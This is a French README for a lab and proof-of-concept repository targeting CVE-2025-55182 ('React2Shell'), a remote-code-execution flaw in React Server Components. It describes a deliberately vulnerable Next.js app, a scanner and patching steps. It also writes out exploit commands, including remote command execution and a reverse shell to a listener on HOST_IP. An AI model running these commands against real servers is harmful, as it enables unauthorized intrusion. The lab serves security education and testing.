Environnement de laboratoire et exploit PoC pour CVE-2025-55182 (React2Shell), une vulnérabilité RCE critique dans les composants serveur React. Comprend une application vulnérable, des scripts d'exploitation et un scanner pour la recherche en sécurité et l'éducation.
Ce dépôt contient un environnement complet pour analyser et reproduire CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance (RCE) dans React Server Components (RSC) affectant React 19.x et Next.js 15.x.
⚠️ AVERTISSEMENT : Ce projet contient intentionnellement du code vulnérable. NE DÉPLOYEZ PAS ceci sur un serveur public ou en environnement de production.
react-server-dom-webpack, react-server-dom-turbopackLa vulnérabilité réside dans la manière dont le runtime React Server Components traite les données sérialisées provenant des requêtes HTTP (Server Actions). Un attaquant peut élaborer une charge utile malveillante du protocole 'Flight' qui, lorsqu'elle est désérialisée par le serveur, exécute du code arbitraire avant que les vérifications d'authentification n'aient lieu.
react2shell/
├── vulnerable-app/ # Application Next.js 15 vulnérable
│ ├── app/
│ │ ├── actions.ts # Server Actions vulnérables
│ │ └── page.tsx # Interface utilisateur pour tester la vulnérabilité
│ ├── Dockerfile # Définition du conteneur
│ └── package.json
├── exploit/ # Outils d'exploitation
│ ├── exploit.py # PoC Python de l'exploit
│ ├── scanner.py # Scanner de vulnérabilité
│ └── quick_exploit.sh # Exploit bash simple
├── docs/ # Documentation d'analyse
└── docker-compose.yml # Environnement de laboratoire isolé
Exécutez l'application vulnérable dans un conteneur isolé :
docker-compose up -d --build
L'application sera disponible à l'adresse http://localhost:3000.
Accédez à http://localhost:3000 dans votre navigateur. Vous devriez voir l'interface 'React2Shell Lab' avec plusieurs panneaux de test :
Nous fournissons plusieurs outils pour tester la vulnérabilité.
Installer les dépendances :
pip install -r exploit/requirements.txt
Vérifier si vulnérable :
python3 exploit/exploit.py -u http://localhost:3000 --check
Exécuter une commande :
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
Reverse Shell (nécessite un écouteur, par exemple nc -lvnp 4444) :
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
Scannez les instances React/Next.js vulnérables :
python3 exploit/scanner.py -u http://localhost:3000
Pour corriger cette vulnérabilité dans vos propres applications :
Mettre à jour les dépendances :
Vérifier le correctif :
Vérifiez package.json pour vous assurer que les paquets react-server-dom-* sont mis à jour.
Ce projet est uniquement destiné à des fins éducatives et de recherche en sécurité. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ce matériel.